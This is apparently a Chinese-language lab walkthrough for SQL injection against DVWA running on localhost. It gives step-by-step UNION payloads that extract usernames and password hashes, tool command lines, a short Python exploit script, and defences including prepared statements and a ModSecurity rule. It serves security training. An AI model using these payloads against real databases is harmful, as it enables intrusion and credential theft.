- 靶场环境: DVWA/WebGoat/Pikachu/BWAPP/SQLi-Labs/XSS-Labs - SQL注入工具: sqli-scanner.py, blind-sqli.py, sqli-exploit.go - XSS工具: xss-fuzzer.py, xss-scanner.go - 认证攻击: web-brute.py, jwt-cracker.py - 服务端安全: port-scanner.py, tls-scanner.py - 防御配置: nginx-hardening.conf - 案例研究: 福建政采网安全评估报告 (13份) - 同步脚本: sync-gitea.sh
5.5 KiB
5.5 KiB
DVWA SQL 注入漏洞利用
1. 漏洞概述
靶场: DVWA (Damn Vulnerable Web Application)
漏洞类型: SQL 注入
难度级别: Low / Medium / High / Impossible
影响: 可提取数据库所有数据,包括用户凭证
2. 环境准备
2.1 启动靶场
cd /Users/x/websafe/00-environments
docker-compose up -d dvwa
2.2 访问地址
- URL:
http://localhost:8080/vulnerabilities/sqli/ - 默认账户:
admin / password
2.3 数据库结构
dvwa.users
├── user_id (int)
├── first_name (varchar)
├── last_name (varchar)
├── user (varchar)
├── password (varchar)
├── avatar (varchar)
├── last_login (timestamp)
└── failed_login (int)
3. Low 级别 - 经典注入
3.1 漏洞代码
<?php
$id = $_GET['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
?>
3.2 手动利用
步骤 1: 确认注入点
?id=1' AND '1'='1 // 正常显示
?id=1' AND '1'='2 // 无数据显示 → 存在注入
步骤 2: 确定列数
?id=1' ORDER BY 1-- - // 正常
?id=1' ORDER BY 2-- - // 正常
?id=1' ORDER BY 3-- - // 报错 → 2列
步骤 3: UNION 注入
?id=-1' UNION SELECT 1,2-- -
步骤 4: 提取数据库信息
?id=-1' UNION SELECT database(),user()-- -
// 结果: dvwa, dvwa@localhost
步骤 5: 提取表名
?id=-1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -
// 结果: guestbook,users
步骤 6: 提取列名
?id=-1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'-- -
// 结果: user_id,first_name,last_name,user,password,avatar...
步骤 7: 提取用户数据
?id=-1' UNION SELECT user,password FROM users-- -
// 结果:
// admin 5f4dcc3b5aa765d61d8327deb882cf99 (MD5: password)
// gordonb e99a18c428cb38d5f260853678922e03 (MD5: abc123)
3.3 工具利用
# 使用扫描器检测
python3 /Users/x/websafe/01-sql-injection/tools/sqli-scanner.py \
-u "http://localhost:8080/vulnerabilities/sqli/" \
-p id \
-c "PHPSESSID=your_session;security=low"
# 使用盲注工具提取
python3 /Users/x/websafe/01-sql-injection/tools/blind-sqli.py \
-u "http://localhost:8080/vulnerabilities/sqli/" \
-p id \
-c "PHPSESSID=your_session;security=low" \
--technique bool \
--extract user
# 使用高性能Go工具
cd /Users/x/websafe/01-sql-injection/tools
go run sqli-exploit.go \
-u "http://localhost:8080/vulnerabilities/sqli/" \
-p id \
--technique time \
--extract user
4. Medium 级别 - POST 注入
4.1 漏洞代码
<?php
$id = $_POST['id'];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id";
?>
4.2 利用方式
- 使用 POST 方法
- 数字型注入(无需引号)
mysqli_real_escape_string不防护数字型
POST /vulnerabilities/sqli/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
id=1 UNION SELECT user,password FROM users-- -
4.3 工具利用
python3 /Users/x/websafe/01-sql-injection/tools/sqli-scanner.py \
-u "http://localhost:8080/vulnerabilities/sqli/" \
-m POST \
-d "id=1" \
-c "PHPSESSID=your_session;security=medium"
5. High 级别 - 限制返回
5.1 漏洞代码
<?php
$id = $_SESSION['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
?>
5.2 利用方式
- 通过 Session 传递参数
- 使用 LIMIT 1 限制
- 可用
#或-- -绕过 LIMIT
?id=1' UNION SELECT user,password FROM users#
6. Impossible 级别 - 安全实现
6.1 安全代码
<?php
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)) {
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
}
?>
6.2 防护措施
- CSRF Token - 防止跨站请求伪造
- 预处理语句 - 使用 PDO/mysqli prepared statements
- 输入验证 -
is_numeric()验证 - 输出转义 - htmlspecialchars()
7. 完整利用脚本
#!/usr/bin/env python3
import requests
target = "http://localhost:8080/vulnerabilities/sqli/"
cookies = {"PHPSESSID": "your_session", "security": "low"}
payload = "-1' UNION SELECT user,password FROM users-- -"
r = requests.get(f"{target}?id={payload}", cookies=cookies)
print(r.text)
8. 防御方案
8.1 预处理语句 (PDO)
<?php
$stmt = $pdo->prepare("SELECT * FROM users WHERE user_id = ?");
$stmt->execute([$_GET['id']]);
?>
8.2 mysqli 预处理
<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE user_id = ?");
$stmt->bind_param("s", $_GET['id']);
$stmt->execute();
?>
8.3 WAF 规则
# ModSecurity 规则
SecRule ARGS "@rx (?i:union.*select|select.*from|insert.*into|delete.*from)" \
"id:1001,phase:2,deny,status:403,msg:'SQL Injection Detected'"
9. 总结
| 级别 | 注入类型 | 防护 | 难度 |
|---|---|---|---|
| Low | GET 字符串型 | 无 | 简单 |
| Medium | POST 数字型 | 转义 | 中等 |
| High | Session + LIMIT | 限制返回 | 中等 |
| Impossible | 无 | 预处理 + CSRF | 安全 |